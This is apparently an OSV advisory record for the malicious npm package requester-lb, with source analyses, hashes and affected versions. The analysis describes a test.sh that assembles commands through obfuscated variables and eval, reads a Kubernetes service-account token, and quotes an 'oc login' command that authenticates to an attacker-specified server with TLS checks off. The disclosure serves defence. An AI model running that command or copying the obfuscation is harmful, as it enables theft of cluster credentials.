MAL-2026-20217

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/requester-lb/MAL-2026-20217.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-20217
Aliases
  • GHSA-6h9x-rjf5-jw55
Published
2026-11-19T14:15:41Z
Modified
2026-11-20T01:17:29Z
Summary
Malicious code in requester-lb (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (c60d261aea571490eb232b48a7451d083da0360292fc650ef1edbc19e66d4f30)

The package advertises itself as an HTTP/DNS requester CLI but ships a test.sh whose primary purpose is credential theft. test.sh splits sensitive commands into ~10 single-letter shell variables that are concatenated and passed to eval, reconstructing printenv and a command that reads the in-pod Kubernetes service-account token from /var/run/secrets/kubernetes.io/serviceaccount/token into $DEBUG_FILE, then invokes ./oc login --token=$DEBUG_FILE --server=$SERV --insecure-skip-tls-verify to authenticate the current cluster identity to a server specified via the SERV environment variable. The string-fragment obfuscation has no benign purpose and is a deliberate scanner-evasion pattern. The package layout corroborates the disguise: package.json declares main: index.js but no index.js is shipped, the only legitimate JS (requester.js) is unrelated to the shell payload, and test.sh is not referenced by any npm script — it is a standalone delivery vehicle for an operator or CI job that executes it inside a Kubernetes/OpenShift pod. The payload does not auto-execute on npm install (no lifecycle hook invokes test.sh), but the harm on explicit execution is cluster credential theft and attacker-controlled cluster federation with TLS verification disabled.

Source: ghsa-malware (41c9da6727adedf58906cf5f2cc136518b193eae2b6e557bd900c80a9078ab1a)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific
{
    "malicious-packages-origins": [
        {
            "id": "GHSA-6h9x-rjf5-jw55",
            "import_time": "2026-11-19T14:19:13.488566333Z",
            "modified_time": "2026-11-19T14:15:42Z",
            "ranges": [
                {
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ],
                    "type": "SEMVER"
                }
            ],
            "sha256": "41c9da6727adedf58906cf5f2cc136518b193eae2b6e557bd900c80a9078ab1a",
            "source": "ghsa-malware"
        },
        {
            "id": "IN-MAL-2026-022908",
            "import_time": "2026-11-20T01:12:26.682350915Z",
            "modified_time": "2026-11-20T01:07:58Z",
            "sha256": "c60d261aea571490eb232b48a7451d083da0360292fc650ef1edbc19e66d4f30",
            "source": "amazon-inspector",
            "versions": [
                "1.0.15"
            ]
        },
        {
            "id": "IN-MAL-2026-022910",
            "import_time": "2026-11-20T01:12:26.829379297Z",
            "modified_time": "2026-11-20T01:08:13Z",
            "sha256": "5b44386c3a2b8418402af2246677f99dfb92d39d244c79fb229b393acf9aebaa",
            "source": "amazon-inspector",
            "versions": [
                "1.0.9"
            ]
        },
        {
            "id": "IN-MAL-2026-022907",
            "import_time": "2026-11-20T01:12:26.569368954Z",
            "modified_time": "2026-11-20T01:07:52Z",
            "sha256": "9494fc17374ba2d46b2fd11cd9db04c7210898dabaf74661e23bff35ce1f5314",
            "source": "amazon-inspector",
            "versions": [
                "1.0.14"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / requester-lb

Package

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected

Affected versions

1.*
1.0.9
1.0.14
1.0.15

Database specific

cwes
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
indicators
{
    "evidence_files": [
        {
            "path": "test.sh",
            "sha256": "46780670f694f3ea7d2e61303b824c4900d977e5361ab611a768bc775038bba9",
            "tlsh": "ec513e73305aa036118e833afbd074c5b720794b093e6c6cb8a6d1a92f363ed317d249"
        },
        {
            "path": "package.json",
            "sha256": "2d35bcaa9d8f78998b1c2ba9c13a6531f4c9d63e3ce68cbcfe0c5e6f2bd84d14",
            "tlsh": "93d01275ccb5da7318ce3a760db97742e161bd2b6208ac1e53c3206986de67305fa24e"
        }
    ]
}
source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/requester-lb/MAL-2026-20217.json"